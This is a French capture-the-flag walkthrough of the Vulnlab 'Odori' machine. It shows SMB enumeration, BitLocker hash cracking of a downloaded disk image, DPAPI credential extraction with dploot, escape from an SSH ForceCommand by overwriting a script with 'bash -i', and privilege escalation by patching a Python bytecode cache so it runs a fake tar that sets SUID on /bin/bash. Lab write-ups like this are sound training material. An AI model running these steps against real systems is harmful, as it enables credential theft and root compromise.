
OS | Difficulty | Target |
---|---|---|
Linux | Medium | 10.10.76.27 |
Dans ce writeup d’Odori de chez Vulnlab, partons ensemble dans du forensics, de la configuration ssh ainsi que du bytecode python.
🔭 Enumeration
Tout d’abord nous commençons par un scan simple du réseau.
nmap odori.vl
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-24 20:57 CET
Nmap scan report for odori.vl (10.10.76.27)
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds
Les ports ouverts sont:
PORT | SERVICE |
---|---|
22 | SSH |
139 | SMB |
445 | SMB |
Puisque SMB semble ouvert, regardons ce qu’il a nous offrir.
smbclient -L \\odori.vl
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
backup Disk Server Backups
IPC$ IPC IPC Service (odori server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
backup
est un répertoire accessible pouvant nous intéresser:
smbclient //odori.vl/backup
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jan 11 12:24:21 2025
.. D 0 Sat Jan 11 20:42:23 2025
info.txt N 59 Sat Jan 11 12:24:21 2025
file02.vmdk N 20051394560 Sat Jan 11 14:38:01 2025
28784764 blocks of size 1024. 1645048 blocks available
Le fichier info nous informe qu’on peut télécharger l’image disk sur le wiki de Vulnlab.
👣 Foothold
Extraction de l’image disque
Nous le téléchargeons à partir du wiki et procédons à l’extraction de l’archive avec le paquet p7zip-full
.
7z x file02.7z
Nous listons les partitions et extrayons la partition 2. Basic data partition.img
7z l file02.vmdk
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=fr_FR.UTF-8 Threads:16 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20051394560 bytes (19 GiB)
Listing archive: file02.vmdk
--
Path = file02.vmdk
Type = VMDK
Physical Size = 20051394560
Total Physical Size = 20051394560
Method = "monolithicSparse"
Cluster Size = 65536
Headers Size = 2686976
ID = d5f179cb
Name = Odoru-File02.vmdk
Comment =
{
# Disk DescriptorFile
version=1
encoding="windows-1252"
CID=d5f179cb
parentCID=ffffffff
createType="monolithicSparse"
# Extent description
RW 41943040 SPARSE "Odoru-File02.vmdk"
# The Disk Data Base
#DDB
ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "d25a0680c8033aa715ed9e10d5f179cb"
ddb.toolsInstallType = "1"
ddb.toolsVersion = "12325"
ddb.uuid = "60 00 C2 9b bb f5 16 de-cf e0 d8 44 12 36 d9 dc"
ddb.virtualHWVersion = "20"
}
----
Size = 21474836480
Packed Size = 20048707584
--
Path = file02.gpt
Type = GPT
Physical Size = 21474836480
ID = 4F0FE686-C388-4F42-89C7-E753DB92E87B
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
..... 104857600 104857600 0.EFI system partition.img
..... 16777216 16777216 1.Microsoft reserved partition.img
..... 20800602112 20800602112 2.Basic data partition.img
..... 549453824 549453824 3.ntfs
------------------- ----- ------------ ------------ ------------------------
21471690752 21471690752 4 files
On voit 4 partitions, la 2.Basic data partition
est celle qu’il nous faut.
Extraction de l’img
.
7z e file02.vmdk '2.Basic data partition.img'
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=fr_FR.UTF-8 Threads:16 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20051394560 bytes (19 GiB)
Extracting archive: file02.vmdk
--
Path = file02.vmdk
Type = VMDK
Physical Size = 20051394560
Total Physical Size = 20051394560
Method = "monolithicSparse"
Cluster Size = 65536
Headers Size = 2686976
ID = d5f179cb
Name = Odoru-File02.vmdk
Comment =
{
# Disk DescriptorFile
version=1
encoding="windows-1252"
CID=d5f179cb
parentCID=ffffffff
createType="monolithicSparse"
# Extent description
RW 41943040 SPARSE "Odoru-File02.vmdk"
# The Disk Data Base
#DDB
ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "d25a0680c8033aa715ed9e10d5f179cb"
ddb.toolsInstallType = "1"
ddb.toolsVersion = "12325"
ddb.uuid = "60 00 C2 9b bb f5 16 de-cf e0 d8 44 12 36 d9 dc"
ddb.virtualHWVersion = "20"
}
----
Size = 21474836480
Packed Size = 20048707584
--
Path = file02.gpt
Type = GPT
Physical Size = 21474836480
ID = 4F0FE686-C388-4F42-89C7-E753DB92E87B
Everything is Ok
Size: 20800602112
Compressed: 20051394560
Extraction du hash bitlocker
Pourquoi l’extraction de l’image ? En voulant monter le disque dans une VM nous pouvons voir que le disque est protégé par Bitlocker
. L’extraction, et par définition le fichier .img
, possède les hashes de bitlocker
. Tentons de les extraire et de les déchiffrer pour voir si on est sur la bonne piste. Nous utilisons donc bitlocker2john
un outil disponible dans Exegol
permettant d’extraire les hashes d’un volume chiffré.
bitlocker2john -i ./2.Basic\ data\ partition.img | tee hash
...
$bitlocker$....
Nous avons bel et bien le fichier hash
contenant les différents hashes du volume. Passons-les maintenant à la moulinette avec Rockyou
.
john --format=bitlocker hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
...
<REDACTED>
Montage du disque
Le mot de passe de Bitlocker
obtenu, nous pouvons désormais monter le disque et commencer à inspecter ce dernier. Après plusieurs recherches sur comment monter et déchiffrer un disque, nous avons utilisé Cryptsetup
qui est un utilitaire permettant chiffrer, monter et ouvrir des volumes. Nous vous recommandons de suivre la documentation de cet utilitaire: Documentation Une fois la commande d’ouverture saisie, cryptsetup a mapper le disque dans /dev/mapper/odori
. Il nous suffit ensuite de créer un dossier et de monter le disque dans ce dernier.
sudo cryptsetup open --type=bitlk .exegol/workspaces/Odori/2.Basic\ data\ partition.img odori
mkdir ./mount
sudo mount --ro /dev/mapper/odori ./mount
---
Fouillons ce disque Windows.
~/mount 10:09:47
❯ ls
$Recycle.Bin/ pagefile.sys Scripts/
$WinREAgent/ PerfLogs/ System Volume Information/
Config/ ProgramData/ Users/
Data/ Program Files/ Windows/
Documents and Settings Program Files (x86)/
DumpStack.log.tmp Recovery/
Le premier flag se situe dans le répertoire Desktop de Administrator.
~/mount/Users/Administrator/Desktop 10:13:28
❯ cat flag.txt
Jusqu’ici tout se déroule rapidement, mais maintenant que faire? Nous n’avons aucun credentials nous permettant, potentiellement, de nous connecter en SSH. En cherchant des ressources pour nous aiguiller, nous sommes tombés sur The Hacker Recipes
The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password.
Nous avons essayé dploot
avec l’option machinetriage
, regroupant la recherche d’identifiants en combinant trois options (machinecredentials, machinevaults, machinecertificates).
dploot machinetriage -root . -t local
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
[*] Connected to local as \ (admin)
[*] Triage SYSTEM masterkeys
{0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344}:fc042cf803faef70864beab0eed18d5a2c820aad
{23c71bc0-dcbc-448f-b144-26c2296c1dd7}:728e7e2ac5a64d58b6a4f75f7c6d4d12de3a2aa7
{4d0608b6-2a96-4d6b-9c81-b03c91485ea6}:989f9583c972b6859f4c38742aba0481dfc82b37
{bb3025a7-e7d7-405e-bb83-13113f771deb}:2dac27377eb1b611fa5a88598dc5b8c1f7a0fdbd
[*] Triage SYSTEM Credentials
[CREDENTIAL]
LastWritten : 2025-01-11 13:27:40
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Description :
Unknown :
Username : FILE02\svc_backup
Unknown : REDACTED
[*] Triage SYSTEM Vaults
[*] Triage SYSTEM Certificates
Nous récupérons le mot de passe et le service associé ‘svc_backup‘.
Les connexions interactives ne sont pas possible en ssh. Nous décidons d’essayer scp
pour télécharger les fichiers et voir ce qui se cache dans la configuration du service ssh.
Nous récupérons tout le répertoire /home/svc_backup
dans un premier temps. Le second flag s’y trouve.
scp -r svc_backup@10.10.76.27:/home/svc_backup .
svc_backup@10.10.76.27's password:
flag.txt 100% 37 0.1KB/s 00:00
.bash_logout 100% 220 5.8KB/s 00:00
authorized_keys 100% 180 5.2KB/s 00:00
scp: download /home/svc_backup/.bash_history: not a regular file
scp: Download of file /home/svc_backup/.bash_history to ./svc_backup/.bash_history failed
.profile 100% 807 9.3KB/s 00:00
.bashrc 100% 3771 113.9KB/s 00:00
Puis on télécharge le fichier de configuation SSH /etc/ssh/sshd_config
. Pour gagner un peu de temps dans la lecture du fichier, la commande grep
permet de retirer tout ce qui commence par # ou $.
scp -r svc_backup@10.10.76.27:/etc/ssh/sshd_config .
grep -Ev '^\s*(#|$)' sshd_config
Include /etc/ssh/sshd_config.d/*.conf
PermitRootLogin yes
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
Match group svc_backup
ForceCommand /opt/restrict /home/%u
AllowTcpForwarding no
La connexion ssh ne se faisait pas car l’option susbsystem renvoi sur un serveur sftp. Tentons de nous connecter sur ce protocole et de voir le fameux fichier /opt/restrict
noté dans le fichier de configuration ssh.
sftp svc_backup@10.10.76.27
svc_backup@10.10.76.27's password:
Connected to 10.10.76.27.
sftp> ls -la
drwxr-x--- 5 svc_backup svc_backup 4096 Jan 15 20:39 .
drwxr-xr-x 4 root root 4096 Jan 11 10:48 ..
lrwxrwxrwx 1 root root 9 Jan 11 10:49 .bash_history
-rw-r--r-- 1 svc_backup svc_backup 220 Jan 11 10:48 .bash_logout
-rw-r--r-- 1 svc_backup svc_backup 3771 Jan 11 10:48 .bashrc
drwx------ 2 svc_backup svc_backup 4096 Jan 11 10:53 .cache
drwxrwxr-x 3 svc_backup svc_backup 4096 Jan 15 20:39 .local
-rw-r--r-- 1 svc_backup svc_backup 807 Jan 11 10:48 .profile
drwxr-xr-x 2 svc_backup svc_backup 4096 Jan 11 10:50 .ssh
-rw-rw---- 1 svc_backup svc_backup 37 Jan 15 20:39 flag.txt
sftp> cd /opt
sftp> ls
archiver restrict
sftp> ls -la
drwxr-xr-x 3 root root 4096 Jan 11 19:44 .
drwxr-xr-x 21 root root 4096 Jan 11 19:42 ..
drwxr-xr-x 3 root root 4096 Jan 16 21:15 archiver
-rwxrwxr-x 1 svc_backup root 48 Jan 11 19:44 restrict
sftp> get restrict
Fetching /opt/restrict to restrict
restrict 100% 48 1.4KB/s 00:00
Le script restrict récupéré, voyons ce qu’il donne:
cat restrict
#!/bin/bash
/usr/lib/openssh/sftp-server -d $1
On remplace le script par bash -i
puis on se connecte en ssh après avoir uploadé le nouveau restrict
avec scp
.
ssh svc_backup@10.10.76.27
svc_backup@10.10.76.27's password:
svc_backup@odori:~$ ls
flag.txt
Maintenant que nous sommes en ssh
, ce sera plus simple de naviguer sur le serveur. Lorsque nous avons récupéré restrict
, nous avons noté un répertoire Archiver
.
🎯 Privilege Escalation
svc_backup@odori:/opt/archiver$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Jan 16 21:15 .
drwxr-xr-x 3 root root 4096 Jan 11 19:44 ..
-rw-r--r-- 1 root root 812 Jan 11 19:42 app.py
-rw-r--r-- 1 root root 412 Jan 16 21:15 helper.py
drwxr-xrwx 2 root root 4096 Jan 16 21:15 __pycache__
Nous n’avons aucun droit d’écriture sur les deux scripts. Cependant… Le répertoire __pycache__
l’est.
Jetons un oeil à l’ensemble:
Le script app.py:
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files
backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)
def scan_and_archive_files():
if not os.path.exists(archive_dir):
os.makedirs(archive_dir)
for root, dirs, files in os.walk(backup_dir):
for file in files:
file_path = os.path.join(root, file)
file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
if file_mod_time < threshold_date:
print(f'Moving {file_path} to archive...')
tar_and_move_files(file_path, archive_dir)
else:
print(f'{file_path} is not old enough to archive.')
if __name__ == '__main__':
scan_and_archive_files()
Helper.py
import os
import subprocess
from datetime import datetime
def tar_and_move_files(file_path, archive_dir):
current_date = datetime.now().strftime('%Y-%m-%d')
tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
os.remove(file_path)
En regardant diverse source sur le bytecode, nous allons devoir jouer avec pour devenir root. Mais comment s’y prendre ? Si nous manipulons le fichier cache de façon à ce que Python l’utilise, nous pourrions peut-être obtenir un shell root. Si le script trouve un fichier de plus de 3 ans, il le déplace avec helper.py qui lui-même appelle /usr/bin/tar
. En remplaçant le binaire par un faux, nous devrions obtenir le shell root après ajout d’un fichier.
sed -i 's|/usr/bin/tar|/tmp/bin/tar|' helper.cpython-310.pyc
Création d’un dossier et du faux binaire tar:
mkdir -p /tmp/bin
cat /tmp/bin/tar
#!/bin/bash
chmod u+s /bin/bash
Création d’un fichier avec date et heure spécifique:
touch -d '2015-05-08 13:12:24.000000000 +0000' /backup/ancien
Attendons quelques instants que les scripts se lance puis lançons la commande qui suit:
bash -p
bash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
bash-5.1# cat /root/root.txt